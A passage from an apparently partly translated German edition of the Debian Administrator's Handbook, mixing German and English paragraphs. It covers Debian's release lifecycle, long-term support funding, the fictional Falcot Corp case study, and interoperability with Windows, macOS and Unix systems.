Eine eher informelle Quelle für Informationen findet sich auch bei Planet Debian, wo Artikel, die von Debian-Unterstützern in ihren jeweiligen Blogs veröffentlicht wurden, gesammelt werden. Obwohl die Inhalte nicht ausschließlich mit der Entwicklung von Debian zu tun haben, geben Sie einen Einblick in das, was in der Gemeinschaft geschieht und womit sich deren Mitglieder beschäftigen.

→ https://planet.debian.org/

The project is also well represented on social networks. Debian only has an official presence on Identi.ca (microblogging platform, powered by pump.io), but there are some accounts retransmitting the RSS feed from micronews.debian.org and many Debian contributors who are posting on non-official accounts.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. Die Rolle der Distributionen

Eine GNU/Linux-Distribution hat zwei Hauptziele: ein freies Betriebssystem auf einem Rechner zu installieren (entweder allein oder neben einem oder mehreren bestehenden Betriebssystemen) und eine Auswahl an Software zur Verfügung zu stellen, die alle Bedürfnisse der Anwender befriedigt.

1.5.1. Das Installationsprogramm: debian-installer

Das Programm debian-installer, das äußerst modular angelegt ist, um möglichst universell zu sein, adressiert die erste Zielsetzung. Es deckt eine große Bandbreite an Installationssituationen ab und erleichtert die Erstellung eines angepassten Installationsprogramms für besondere Fälle.

Diese Modularität und die daraus resultierende Komplexität kann Entwickler auch abschrecken, die mit dem Tool arbeiten wollen. Sowohl mit der Grafikoberfläche als auch im Textmodus machen Anwender ähnliche Erfahrungen. Mit hohem Aufwand konnte dank der integrierten automatischen Hardwareerkennung die Anzahl der zum Installationszeitpunkt zu beantwortenden Fragen reduziert werden.

Interessanterweise unterscheiden sich von Debian abgeleitete Distributionen in dieser Hinsicht sehr und bieten ein eingeschränkteres (häufig auf die i386- oder amd64-Architektur begrenztes), jedoch für Unerfahrene leichter zu bedienendes Installationsprogramm an. Andererseits verzichten sie darauf, zu weit vom Paketinhalt abzuweichen, um möglichst viel von der großen Auswahl angebotener Software zu profitieren, ohne Kompatibilitätsprobleme zu verursachen.

1.5.2. Die Software-Bibliothek

Quantitatively, Debian is undeniably the leader in this respect, with over 31,000 source packages. Qualitatively, Debian’s policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours.

Die meisten neuen freien Programme finden schnell ihren Weg in die Entwicklungsversion, sodass sie installiert werden können. Falls dies aufgrund ihrer Abhängigkeiten zu viele Aktualisierungen erfordert, kann ein Programm auch für die stabile Debian-Version rekompiliert werden (siehe Kapitel 15, Ein Debian-Paket erstellen für mehr Informationen zu diesem Thema).

1.6. Lebenszyklus einer Veröffentlichung

Das Projekt verfügt gleichzeitig über drei bis sechs verschiedene Versionen jeden Programms, die als Experimental, Unstable, Testing und Stable, Oldstable oder sogar Oldoldstable bezeichnet werden. Jede entspricht einer anderen Entwicklungsphase. Um dies richtig zu verstehen, lassen Sie uns einen Blick auf den Weg eines Programms von seiner ersten Paketierung bis zur Aufnahme in die stabile Debian-Version werfen.

WÖRTERVERZEICHNIS Veröffentlichung

Der Begriff „release“ (Veröffentlichung) bezeichnet im Debian-Projekt eine bestimmte Version einer Distribution (so bedeutet zum Beispiel „unstable release“ die Version „Unstable“). Er bezeichnet auch die öffentliche Ankündigung der Vorstellung einer neuen Version (Stable).

1.6.1. Der Status Experimental

Lassen Sie uns zunächst einen Blick auf den besonderen Fall der Distribution Experimental werfen: Dies ist eine Gruppe von Debian-Paketen, die der aktuell noch in Entwicklung befindlichen und nicht unbedingt fertiggestellten Programme entspricht, was ihren Namen erklärt. Nicht alles durchläuft diese Phase; manche Entwickler stellen hier Pakete ein, um Rückmeldungen von erfahreneren (oder mutigeren) Anwendern zu erhalten.

Andererseits enthält diese Distribution häufig wichtige Änderungen grundlegender Pakete, deren Aufnahme in Unstable mit schwerwiegenden Fehlern gefährliche Auswirkungen haben würde. Sie ist daher eine vollständig isolierte Distribution. Ihre Pakete werden niemals in eine andere Version übertragen (es sei denn durch direktes ausdrückliches Eingreifen des Betreuers oder der FTP Master). Auch ist sie nicht vollständig: nur eine Untermenge der vorhandenen Pakete ist in Experimental enthalten und es fehlt grundsätzlich das Basis-System. Diese Distribution ist deshalb meist nur zusammen mit einer vollständigen Distribution, wie beispielsweise Unstable sinnvoll einsetzbar.

1.6.2. Der Status Unstable

Lassen Sie uns zum Fall eines typischen Pakets zurückkehren. Der Betreuer erstellt ein erstes Paket, das er für die Version Unstable kompiliert und auf den Server ftp-master.debian.org legt. Dieser erste Schritt schließt eine Überprüfung und Bewertung durch die FTP-Master ein. Die Software ist dann in der Distribution Unstable verfügbar, die eine Vorreiterrolle spielt und die von Anwendern gewählt wird, die mehr Wert auf aktuelle Paketen nach dem neuesten Stand legen, als sich um schwerwiegende Fehler zu sorgen. Sobald sie das Programm entdecken, probieren sie es aus.

Falls sie Fehler entdecken, melden Sie sie dem Paketbetreuer. Der Betreuer erstellt dann regelmäßig korrigierte Versionen, die er auf den Server hochlädt.

Every newly updated package is updated on all Debian mirrors around the world within six hours. The users then test the corrections and search for other problems resulting from the modifications. Several updates may then occur rapidly. During these times, autobuilder robots come into action. The maintainer uploads the package sources (without any precompiled package). The autobuilders take over and automatically compile versions for all supported architectures. Some compilations may fail; the maintainer will then receive a bug report indicating the problem, which is then to be corrected in the next versions. When the bug is discovered by a specialist for the architecture in question, the bug report may come with a patch ready to use.

Abbildung 1.2. Kompilierung eines Paketes durch die Selbstbau-Roboter

KURZER BLICK buildd, der Debian-Paket-Rekompilierer

buildd ist die Abkürzung für „build daemon“. Dieses Programm rekompiliert selbstständig neue Versionen von Debian-Paketen auf den Architekturen, auf denen es untergebracht ist (da eine Cross-Kompilierung so weit wie möglich vermieden wird).

Um also Binärdateien für die arm64-Architektur zu erstellen, hält das Projekt arm64-Rechner bereit. Das Programm buildd läuft auf ihnen ununterbrochen und erzeugt aus Quellpaketen, die von Debian-Entwicklern eingeschickt wurden, Binärpakete für arm64.

Diese Software wird auf allen Rechnern eingesetzt, die als Selbstbau-Roboter für Debian dienen. Infolgedessen wird der Begriff buildd häufig auch auf diejenigen Rechner ausgedehnt, die gewöhnlich ausschließlich für diesen Zweck reserviert sind.

1.6.3. Migration zu Testing

Etwas später wird das Paket ausgereift sein; es wird in seinen Kompilierungen für alle Architekturen keine neuerlichen Veränderungen mehr durchgemacht haben. Damit ist es ein Kandidat für die Aufnahme in die Distribution Testing - einer Gruppe von Unstable-Paketen, die unter Beachtung einer Reihe von quantifizierbaren Kriterien ausgewählt worden sind. Jeden Tag wählt ein Programm unter Berücksichtigung von Elementen, die ein bestimmtes Qualitätsniveau gewährleisten, selbstständig die Pakete für die Aufnahme in Testing aus:

erfolgreiche Kompilierung auf allen offiziell unterstützten Architekturen;

keine kritischen Fehler oder zumindest weniger als in der aktuell in Testing enthaltenen Version;

hat wenigstens 5 Tage in Unstable verbracht, üblicherweise ausreichend lange, um schwerwiegende Probleme zu entdecken und zu melden (falls es eine hat, verkürzt das erfolgreiche Bestehen der eigenen Testsammlung des Pakets diese Zeit);

Abhängigkeiten können in Testing gelöst werden oder können zumindest zusammen mit dem betreffenden Paket dorthin verschoben werden;

automatische Qualitätstests des Pakets (autopkgtest) — falls definiert – zeigen keine Regression.

Dieses System ist sicherlich nicht unfehlbar; kritische Fehler werden regelmäßig in Paketen gefunden, die in Testing enthalten sind. Dennoch ist es im Allgemeinen effektiv, und Testing bereitet deutlich weniger Probleme als Unstable, womit es für viele ein guter Kompromiss zwischen Stabilität und Aktualität ist.

HINWEIS Einschränkungen von Testing

Obwohl an sich sehr interessant, wirft Testing einige praktische Probleme auf: Das Gewirr gegenseitiger Abhängigkeiten zwischen Paketen führt dazu, dass ein Paket selten allein dorthin verschoben werden kann. Da alle Pakete voneinander abhängen, muss manchmal eine große Anzahl gleichzeitig verschoben werden, was jedoch unmöglich ist, wenn einige regelmäßig Aktualisierungen hochladen. Auf der anderen Seite arbeitet das Skript, das Familien zusammengehöriger Pakete festlegt, unermüdlich daran, diese zu erstellen (dies wäre ein NP-vollständiges Problem, für dessen Lösung wir jedoch glücklicherweise einige gute Heuristiken kennen). Wir können daher manuell mit dem Skript interagieren und es lenken, indem wir Gruppen von Paketen vorschlagen oder die Aufnahme bestimmter Pakete in eine Gruppe erzwingen, selbst wenn dies vorübergehend einige Abhängigkeiten bricht. Dieses Funktionsmerkmal ist für die Release-Manager und ihre Assistenten zugänglich.

Erinnern Sie sich daran, dass ein NP-vollständiges Problem eine exponentielle algorithmische Komplexität in Abhängigkeit vom Datenumfang hat, der in diesem Fall durch die Länge des Codes (die Anzahl der Zeichen((?)) ) und der beteiligten Elemente bestimmt wird. Der einzige Lösungsweg besteht häufig darin, alle möglichen Konfigurationen zu überprüfen, was einen enormen Aufwand erfordern könnte. Eine Heuristik ist da eine ungefähre, aber hinreichende Lösung.

GEMEINSCHAFT Der Release-Manager

Release Manager ist ein wichtiger mit großer Verantwortung verbundener Titel. Der Träger dieses Titels muss faktisch die Veröffentlichung einer neuen, stabilen Debian-Version bewältigen und den Entwicklungsprozess von Testing bestimmen, bis es die Qualitätskriterien für Stable erfüllt. Er legt auch einen vorläufigen Zeitplan fest (der nicht immer eingehalten wird).

We also have Stable Release Managers, often abbreviated SRM, who manage and select updates for the current stable version of Debian. They systematically include security patches and examine all other proposals for inclusion, on a case by case basis, sent by Debian developers eager to update their package in the stable version.

1.6.4. Die Beförderung von Testing zu Stable

Angenommen, unser Paket ist jetzt in Testing enthalten. Solange es noch Optimierungspotenzial enthält, muss sein Betreuer es weiter verbessern und den Prozess von Unstable aus neu beginnen. (Jedoch erfolgt seine spätere Aufnahme in Testing normalerweise schneller: Falls es sich nicht erheblich verändert hat, sind alle seine Abhängigkeiten bereits erfüllt). Wenn es fertig ist, hat der Betreuer seine Aufgabe erfüllt. Der nächste Schritt besteht dann in seiner Aufnahme in die Distribution Stable, die eigentlich nur eine einfache Kopie von Testing zu einem vom Release Manager bestimmten Zeitpunkt ist. Idealerweise wird diese Entscheidung getroffen, wenn das Installationsprogramm fertig ist und wenn kein Programm mehr in Testing irgendwelche bekannten kritischen Fehler hat.

Da dies niemals wirklich eintritt, muss Debian in der Praxis Kompromisse machen: Pakete entfernen, deren Betreuer Fehler nicht rechtzeitig behoben hat, oder der Veröffentlichung einer Distribution mit einigen wenigen Fehlern in Tausenden von Programmen zustimmen. Der Release Manager wird zuvor einen Zeitraum mit einer Veränderungssperre verkündet haben, währenddessen jede weitere Aktualisierung in Testing genehmigt werden muss. Dies geschieht mit dem Ziel, neue Versionen (und damit neue Fehler) zu verhindern und nur solche Aktualisierungen zu genehmigen, die Fehler beheben.

Abbildung 1.3. Der Weg eines Pakets durch die verschiedenen Debian-Versionen

WÖRTERVERZEICHNIS Freeze (Veränderungssperre): die Zielgerade

Während der Zeit einer Veränderungssperre ist die Entwicklung der Distribution Testing gesperrt; weitere selbstständige Aktualisierungen sind nicht mehr erlaubt. Nur die Release Manager dürfen dann Pakete, in Übereinstimmung mit ihren eigenen Kriterien, ändern. Ziel ist es, das Auftreten neuer Fehler durch die Einführung neuer Versionen zu verhindern; nur gründlich untersuchte Aktualisierungen werden genehmigt, wenn sie signifikante Fehler beheben.

After the release of a new stable version, the Stable Release Managers manage all further development (called “revisions”, ex: 10.1, 10.2, 10.3 for version 10). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included).

Am Ende seiner Reise ist unser hypothetisches Paket in der stabilen Distribution enthalten. Dieser Weg, der nicht ohne Schwierigkeiten war, erklärt die erheblichen Verzögerungen, durch die die Debian-Stable-Veröffentlichungen voneinander getrennt sind. Dies trägt insgesamt zu ihrem Ruf hoher Qualität bei. Außerdem ist die Mehrheit der Anwender damit zufrieden, eine der drei gleichzeitig verfügbaren Distributionen verwenden zu können. Die Systemadministratoren, die vor allem um die Stabilität ihrer Server besorgt sind, benötigen nicht unbedingt die jüngste und beste Version von GNOME; sie können Debian Stable nehmen und werden damit zufrieden sein. Endnutzer, die mehr an den jüngsten Versionen von GNOME oder KDE Plasma als an felsenfester Stabilität interessiert sind, werden feststellen, dass Debian Testing ein guter Kompromiss zwischen der Abwesenheit schwerwiegender Probleme und relativ aktueller Software ist. Schließlich werden Entwickler und erfahrenere Nutzer den Weg bahnen, indem sie die neuesten Entwicklungen in Debian Unstable ausprobieren, sobald sie die Startbox verlassen haben, selbst auf die Gefahr hin, an Kopfschmerzen und Fehlern zu leiden, die zu jeder neuen Version eines Programms dazu gehören. Jedem sein eigenes Debian!

KULTUR GNOME und KDE Plasma, grafische Arbeitsumgebungen

GNOME (originally an acronym for GNU Network Object Model Environment) and Plasma by KDE (formerly known as K Desktop Environment) are the two most popular/established graphical desktop environments in the free software world, and will be presented in greater detail in Abschnitt 13.3, „Grafische Arbeitsflächen“.

A desktop environment is a set of programs grouped together to allow easy management of the most common operations through a graphical interface. They generally include a file manager, office suite, web browser, e-mail program, multimedia accessories, etc. The most visible difference resides in the choice of the graphical library used: GNOME has chosen GTK+ (free software licensed under the LGPL), and the KDE community has selected Qt (a company-backed project, available nowadays both under the GPL and a commercial license).

→ https://www.gnome.org/

→ https://kde.org/

Abbildung 1.4. Chronologischer Weg eines von Debian paketierten Programms

1.6.5. Der Oldstable und Oldoldtable Status

Jede Stable Release hat eine erwartete Lebensdauer von ca. 5 Jahren und da Releases tendenziell alle 2 Jahre stattfinden, kann es bis zu 3 unterstützte Releases zu einem bestimmten Zeitpunkt geben. Wenn eine neue stabile Version erscheint, wird die frühere Version zu Oldstable und die vorherige wird zu Oldoldstable.

Diese Langzeitunterstützung (LTS) von Debian-Releases ist eine neue Initiative: Einzelne Mitwirkende und Unternehmen schlossen sich zusammen, um das Debian-LTS-Team zu gründen. Ältere Releases, die nicht mehr vom Debian-Sicherheitsteam unterstützt werden, fallen unter die Verantwortung dieses neuen Teams.

The Debian security team handles security support in the current Stable release and also in the Oldstable release (but only for as long as is needed to ensure one year of overlap with the current stable release). This amounts roughly to three years of support for each release. The Debian LTS team handles the last (two) years of security support so that each release benefits from at least 5 years of support and so that users can upgrade from version N to N+2, for example, from Debian 9 Stretch to Debian 11 Bullseye.

→ https://wiki.debian.org/LTS

GEMEINSCHAFT Unternehmen, die die LTS-Arbeit unterstützen

Langzeitunterstützung ist eine schwierige Aufgabe in Debian, da Freiwillige dazu neigen, die Arbeit zu vermeiden, die nicht viel Spaß macht. Und Sicherheitsunterstützung für 5 Jahre alte Software macht - für viele Beitragende - viel weniger Spaß als das Paketieren neuer Upstream-Versionen oder die Entwicklung neuer Features.

Um dieses Projekt zum Leben zu erwecken, zählte das Projekt auf die Tatsache, dass langfristige Unterstützung für Unternehmen besonders wichtig ist und dass sie bereit sind, die Kosten für diese Sicherheitsunterstützung zu teilen.

Das Projekt begann im Juni 2014: Einige Organisationen erlaubten ihren Mitarbeitern, in Teilzeit zu Debian LTS beizutragen, während andere es vorzogen, das Projekt mit Geld zu sponsern, sodass Debian-Mitarbeiter für die Arbeit bezahlt werden, die sie nicht ohne Bezahlung machen würden. Die meisten zu Debian Beitragenden, die bereit sind, für die Arbeit an LTS bezahlt zu werden, haben sich zusammengetan, um ein klares Sponsoringangebot von Freexian (Raphaël Hertzog's Firma) zu erstellen:

→ https://www.freexian.com/services/debian-lts.html

Innerhalb des Debian-LTS-Teams arbeiten die Freiwilligen an Paketen, die ihnen wichtig sind, während die bezahlten Beitragenden die von ihren Sponsoren verwendeten Pakete priorisieren.

Das Projekt ist immer auf der Suche nach neuen Sponsoren: Wie wäre es mit Ihrem Unternehmen? Können Sie einen Mitarbeiter in Teilzeit arbeiten lassen? Können Sie ein kleines Budget für die Sicherheitsunterstützung bereitstellen?

→ https://wiki.debian.org/LTS/Funding

Kapitel 2. Vorstellung der Fallstudie

In diesem Zusammenhang sind Sie der Systemadministrator einer kleinen, wachsenden Firma. Es ist an der Zeit, dass Sie die Feinplanung für Ihre Informationssysteme für das kommende Jahr zusammen mit Ihren Chefs durchführen. Sie entscheiden sich dafür, aus praktischen und aus wirtschaftlichen Gründen auf Debian umzusteigen. Lassen Sie uns im Detail sehen, was Ihnen bevorsteht …

Wir haben uns diese Fallstudie ausgedacht, um alle modernen Informationsdienste, die derzeit in einem mittelständischen Unternehmen eingesetzt werden, zu betrachten. Nach der Lektüre dieses Buches werden Sie über alle notwendigen Kenntnisse verfügen, um Debian auf Ihren Servern zu installieren und selbstständig weiterzuarbeiten. Sie erfahren auch, wie man im Falle von Schwierigkeiten effizient Informationen findet.

2.1. Schnell wachsende IT-Bedürfnisse

Falcot Corp ist ein Hersteller von hochwertigen Audiogeräten. Das Unternehmen wächst stark und hat zwei Standorte, einen in Saint-Étienne und einen weiteren in Montpellier. In Saint-Étienne sind rund 150 Mitarbeiter in einer Fabrik für die Herstellung von Lautsprechern, einem Designlabor sowie in der Verwaltung beschäftigt. Am kleineren Standort Montpellier werden mit nur 50 Mitarbeitern Verstärker hergestellt.

Hinweis Dies ist nur eine fiktive Firma für die Fallstudie

Die Firma Falcot Corp, die beispielhaft hier betrachtet wird, ist rein fiktiv. Jede Ähnlichkeit mit einer existierenden Firma wäre rein zufällig. Ebenso können einige der Beispieldaten in diesem Buch fiktiv sein.

Die IT-Infrastruktur hatte Mühe, mit dem Wachstum der Firma mitzuhalten, und so ist die Geschäftsleitung nun fest entschlossen, diese komplett neu aufzustellen, um die Ziele zu erreichen, die von der Unternehmensführung vorgegeben wurden:

moderne, leicht skalierbare Infrastruktur;

Reduzierung der Kosten für Softwarelizenzen dank Verwendung von Open-Source-Software;

Installation einer E-Commerce-Website, möglicherweise B2B (business to business, d.h. Verknüpfung von IT-Systemen zwischen verschiedenen Unternehmen, wie zum Beispiel einem Zulieferer und den Abnehmern);

signifikante Verbesserung der Sicherheit zum besseren Schutz der Betriebsgeheimnisse um neue Produkte.

Im Hinblick auf diese Ziele wird das gesamte Informationssystem überarbeitet.

2.2. Gesamtkonzept

Mit Ihrer Hilfe hat das IT-Management eine recht umfangreiche Studie durchgeführt, in der einige Sachzwänge identifiziert wurden und ein Plan zur Migration auf das gewählte Open-Source-System Debian erstellt wurde.

Als signifikante Einschränkung wurde eine Buchhaltungssoftware identifiziert, die nur unter Microsoft Windows™ läuft. Das Labor hingegen nutzt eine CAD-Software, die nur auf OS X™ läuft.

Abbildung 2.1. Übersicht über das Falcot Corp Netzwerk

Der Umstieg auf Debian wird schrittweise erfolgen; ein kleines Unternehmen mit begrenzten Mitteln kann vernünftigerweise nicht alles über Nacht ändern. Zunächst einmal müssen die IT-Mitarbeiter in die Administration mit Debian geschult werden. Dann werden zuerst die Netzwerk-Infrastruktur-Server (Router, Firewalls, usw.) und anschließend die Anwenderdienste (File-Sharing, Web, SMTP, usw.) umgesetzt. Nach und nach werden dann die Bürocomputer auf Debian migriert und jede Abteilung wird während des Ausrollens der Systeme auf Debian (intern) geschult.

2.3. Warum eine GNU/Linux-Distribution?

Rückblick auf die Grundlagen Linux oder GNU/Linux?

Wie Sie bereits wissen, ist Linux nur ein Betriebssystemkern (Kernel). Die Ausdrücke, "Linux-Distribution" und "Linux-System" sind also inkorrekt: Sie bezeichnen in Wirklichkeit Distributionen oder Systeme basierend auf Linux. Diese Ausdrücke missachten die Software, die immer den Kernel vervollständigt, ebenso wie die Programme, die vom GNU-Projekt entwickelt wurden. Dr. Richard Stallman, Gründer des Projekts, besteht darauf, dass der Ausdruck "GNU/Linux" systematisch genutzt wird, um die wichtigen Beiträge des GNU-Projekts und die Grundsätze der Freiheit, auf denen sie gründet, hervorzuheben.

Debian has chosen to follow this recommendation, and, thus, name its distributions accordingly. Thus, the latest stable release is Debian GNU/Linux 11.

Mehrere Faktoren haben diese Wahl bestimmt. Der Systemadministrator, der die Distribution kannte, sorgte dafür, dass sie als Kandidat für die EDV-Erneuerung aufgenommen wurde. Schwierige wirtschaftliche Bedingungen und gnadenloser Wettbewerb haben das Budget für diese Operation trotz ihrer kritischen Bedeutung für die Zukunft des Unternehmens eingeschränkt. Aus diesem Grunde wurde kurzerhand eine Open-Source-Lösung gewählt: Mehrere neuere Studien zeigen, dass sie günstiger als proprietäre Lösungen sind, während die Qualität der Dienstleistung gleich oder besser ist, solange qualifiziertes Personal zu ihrem Betrieb zur Verfügung steht.

IN PRACTICE Total Cost of Ownership

The Total Cost of Ownership (TCO) is the total of all money expended for the possession or acquisition of an item, in this case referring to the operating system. This price includes any possible license fee, costs for training personnel to work with the new software, replacement of machines that are too slow, additional repairs, etc. Everything arising directly from the initial choice is taken into account.

Diese Gesamtbetriebskosten (TCO), die von den gewählten Kriterien abhängen, fallen kaum ins Gewicht. Trotzdem ist es sehr interessant, die Gesamtbetriebskosten zu vergleichen, die nach den gleichen Regeln kalkuliert wurden. Die Beurteilungstabelle ist daher von überragender Wichtigkeit. Es ist sehr leicht, diese zu manipulieren und so zu einem vordefinierten Ergebnis zu kommen. Die TCO-Betrachtung für einen einzelnen Rechner macht keinen Sinn, weil die anteiligen Administratorkosten sich nach der Anzahl der Rechner richten, die dieser betreut. Und diese Zahl hängt offensichtlich vom verwendeten Betriebssystem und den vorgeschlagenen Werkzeugen ab.

Unter den freien Betriebssystemen untersuchte die IT-Abteilung die Free-BSD Systeme (OpenBSD, FreeBSD und NetBSD), GNU Hurd sowie Linux-Distributionen. GNU Hurd, das bisher noch keine stabile Version veröffentlicht hat, wurde sofort wieder verworfen. Die Wahl zwischen BSD und Linux war einfacher. Die erstgenannten haben viele Vorteile, speziell auf Servern. Pragmatische Überlegungen führten zur Wahl eines Linux-Systems, da sowohl die breite Installationsbasis als auch der Bekanntheitsgrad wichtig sind und diese Systeme zudem einige positive Auswirkungen haben. Eine davon ist, dass es aufgrund der Verbreitung leichter ist, qualifiziertes Personal für Linux-Systeme zu finden, als Techniker, die sich auf BSD spezialisiert haben. Außerdem wird Linux schneller an neue Hardware angepasst als BSD (obwohl hier ein Kopf-an-Kopf-Rennen stattfindet). Und nicht zuletzt werden Linux-Distributionen häufiger mit benutzerfreundlichen grafischen Oberflächen ausgestattet, die für Anfänger während der Umstellung aller Bürorechner auf ein neues System unabdingbar sind.

ALTERNATIV Debian GNU/kFreeBSD

Since Debian 6 Squeeze, it is possible to use Debian with a FreeBSD kernel on 32-bit and 64-bit computers; this is what the kfreebsd-i386 and kfreebsd-amd64 architectures mean. While these architectures are not “official” (they are hosted on a separate mirror — ports.debian.org), they provide over 60% of the software packaged by Debian.

Diese Architekturen könnten eine gute Wahl für die Administratoren der Falcot Corp. sein, speziell für eine Firewall (der Kernel unterstützt drei verschiedene Firewalls: PF, IPFW und PF) oder eine Netzwerkspeicher-Lösung (NAS; network attached storage system; hierfür wurde das ZFS-Dateisystem getestet und freigegeben).

2.4. Warum die Debian Distribution?

Sobald eine Entscheidung für Linux gefallen ist, sind weitere Optionen zu betrachten. Und dabei sind wieder zahlreiche Kriterien zu bedenken. Die gewählte Distribution muss mehrere Jahre betrieben werden können, weil eine Umstellung (Migration) weitere Kosten nach sich ziehen würde (obwohl diese nicht so hoch ausfallen wie bei einem Wechsel zu einem völlig unterschiedlichen Betriebssystem wie etwa Windows oder OS X).

Sustainability is, thus, essential, and it must guarantee regular updates and security patches over several years. The timing of updates is also significant, since, with so many machines to manage, Falcot Corp cannot handle this complex operation too frequently. The IT department, therefore, insists on running the latest stable version of the distribution, benefiting from the best technical assistance, and guaranteed security patches. In effect, security updates are generally only guaranteed for a limited duration on older versions of a distribution.

Schließlich muss aus Gründen der Homogenität und der einfachen Administration die gleiche Distribution auf allen Servern und Bürorechnern laufen.

2.4.1. Kommerzielle und von der Gemeinschaft gewartete Distributionen

There are two main categories of Linux distributions: commercial and community-driven. The former, developed by companies, are sold with commercial support services. The latter are developed according to the same open development model as the free software of which they are comprised.

Eine kommerzielle Distribution wird daher tendenziell öfter neue Versionen veröffentlichen, um näher am Marktgeschehen und den damit verbundenen Services zu bleiben. Ihre Zukunft ist direkt mit dem wirtschaftlichen Erfolg ihrer Firma verbunden, viele sind bereits wieder verschwunden (Caldera Linux, StormLinux, Mandriva Linux, usw.).

Eine nichtkommerzielle Distribution folgt nur ihrem eigenen Programm. Ähnlich dem Linux-Kernel werden neue Versionen freigegeben, sobald sie stabil sind, niemals vorher. Solange es genug unabhängige Entwickler oder dritte Unternehmen gibt, die sie unterstützen, ist ihr Überleben gesichert.

Bei einem Vergleich verschiedener Linux-Distributionen fiel aus folgenden Gründen die Wahl auf Debian:

Es ist eine Community-Distribution, deren Entwicklung unabhängig von kommerziellen Interessen gesichert ist. Ihre Ziele sind daher grundsätzlich technischer Natur, was für die generelle Qualität des Produkts spricht.

Unter allen Community-Distributionen glänzt Debian in vielerlei Hinsicht: So etwa in der Anzahl der Mitwirkenden (Programmierer usw.), der Anzahl der verfügbaren Softwarepakete und der Jahre ihrer kontinuierlichen Existenz. Die Größe der Community ist dabei ein unbestreitbarer Zeuge und Garant für Kontinuität.

Statistisch gesehen werden alle 18 bis 24 Monate neue Versionen herausgegeben und werden 5 Jahre lang unterstützt. Mit dieser Geschwindigkeit können die meisten Administratoren leben.

Eine Umfrage unter verschiedenen französischen Firmen, die sich auf freie Software spezialisiert haben, zeigte, dass alle technische Unterstützung für Debian anbieten. Für viele von ihnen ist es auch die Distribution der Wahl für interne Systeme. Die Vielfalt der möglichen Anbieter ist ein wichtiger Grund für die Unabhängigkeit der Falcot Corp.

Schließlich ist Debian auf einer breiten Basis von Architekturen verfügbar, inklusive ppc64el für OpenPOWER-Prozessoren. Es ist trotzdem möglich, Debian auf den neuesten IBM-Servern der Falcot Corp. zu installieren.

IN DER PRAXIS Debian Langzeit-Unterstützung

Das Debian-Langzeitunterstützungsprojekt (LTS = Long-Term-Support) begann 2014 und hat das Ziel, über 5 Jahre den Security-Support für alle stabilen Debian-Releases zu ermöglichen. Da der Langzeitsupport gerade für Organisationen mit größeren Produktionsumgebungen wichtig ist, versucht das Projekt die Bündelung der Ressourcen von Organisationen, die Debian benutzen.

→ https://wiki.debian.org/LTS

Falcot Corp. ist nicht groß genug, um ein Mitglied seines IT-Personals zum LTS-Projekt beitragen zu lassen, daher entschied sich das Unternehmen, den Debian-LTS-Vertrag von Freexian zu unterschreiben und bietet finanzielle Unterstützung. Dadurch wissen die Falcot-Administratoren, dass die von ihnen verwendeten Pakete vorrangig behandelt werden und haben bei Problemen direkten Kontakt zum LTS-Team.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Once Debian has been chosen, the matter of which version to use must be decided. Let us see why the administrators have picked Debian Bullseye.

2.5. Why Debian Bullseye?

Every Debian release starts its life as a continuously changing distribution, also known as “Testing”. But at the time you read those lines, Debian Bullseye is the latest “Stable” version of Debian.

The choice of Debian Bullseye is well justified based on the fact that any administrator concerned about the quality of their servers will naturally gravitate towards the stable version of Debian. Even if the previous stable release might still be supported for a while, Falcot administrators aren't considering it because its support period will not last long enough, and because the latest version brings new interesting features that they care about.

Kapitel 3. Untersuchung des bestehenden Setups und Migration

Jedes Computerupdate sollte das bestehende System mit einschließen. Dies erlaubt eine möglichst weitgehende Wiederverwendung von Ressourcen und garantiert das nahtlose Zusammenarbeiten der verschiedenen Elemente, aus denen das System besteht. Diese Studie will ein allgemeingültiges Rahmenkonzept aufzeigen, dem man bei der Migration einer Rechner-infrastruktur hin zu Linux folgen kann.

3.1. Koexistenz in gemischten Umgebungen

Debian lässt sich sehr gut in alle Arten von bestehenden Umgebungen einbinden und arbeitet gut mit allen anderen Betriebssystemen zusammen. Diese fast perfekte Harmonie rührt vom Wettbewerbsdruck her, der dafür sorgt, dass Softwarehersteller ihre Programme den Standards folgend erstellen. Die Beachtung von Standards erlaubt es den Administratoren, Programme auszutauschen: Clients oder Server, egal ob frei oder nicht.

3.1.1. Integration mit Windows-Rechnern

Samba's SMB-/CIFS-Support bietet eine exzellente Kommunikation innerhalb von Windows-Umgebungen. Es verteilt Dateien und Druckerwarteschlangen an Windows-Clients und enthält Software, die es Linux-Rechnern erlaubt, Ressourcen von Windows-Servern zu nutzen.

WERKZEUG Samba

Die letzte Samba-Version kann die Mehrzahl der Windows-Features ersetzen: Von einem simplen Windows-NT-Server (mit Authentifizierung, Dateien, Druckerwarteschlangen, Herunterladen von Druckertreibern, DFS usw.) ist vieles möglich bis hin zum fortgeschrittenen Setup: Ein mit MS-Active-Directory kompatibler Domain-Controller.

3.1.2. Vernetzung mit macOS Rechnern

macOS Rechner stellen via Bonjour, einer Implementierung des Zeroconf Protokolls, Netzwerkdienste wie Datei- und Druckdienste zur Verfügung und können diese im Gegenzug selbst nutzen. Diese Dienste werden auf dem lokalen Netzwerk angeboten, was den anderen Rechnern ermöglicht, diese zu erkennen und zu nutzen, und zwar ohne manuelle Konfiguration.

In the other direction, the Netatalk daemon can be used to provide file servers to macOS machines on the network. It implements the AFP protocol (Apple Filing Protocol, now AppleShare) as well as the required notifications so that the servers can be automatically discovered by the macOS clients.

Ältere Mac OS Netzwerk (vor OS X) benutzten ein anderes Protokoll, genannt AppleTalk. Für Umgebungen, in die Maschinen eingebunden sind, die noch dieses AppleTalk sprechen, bietet Netatalk dieses Protokoll ebenfalls an (tatsächlich war Netatalk zu Beginn eine Reimplementierung dieses Protokolls). Es erlaubt die Arbeit mit Dateiservern und Druckerwarteschlangen sowie die Nutzung als Zeitserver (Uhrensynchronisierung). Seine Routerfunktionalität erlaubt die Verbindung zu Appletalk-Netzwerken.

3.1.3. Vernetzung mit anderen Linux/Unix-Rechnern

Finally, NFS (Network File System) and NIS (Network Information Service), both included, guarantee interaction with Unix systems. NFS ensures file server functionality, while NIS creates user directories. The BSD printing layer, used by most Unix systems, also allows sharing of print queues.

Abbildung 3.1. Koexistenz von Debian mit OS X-, Windows- und Unix-Systemen

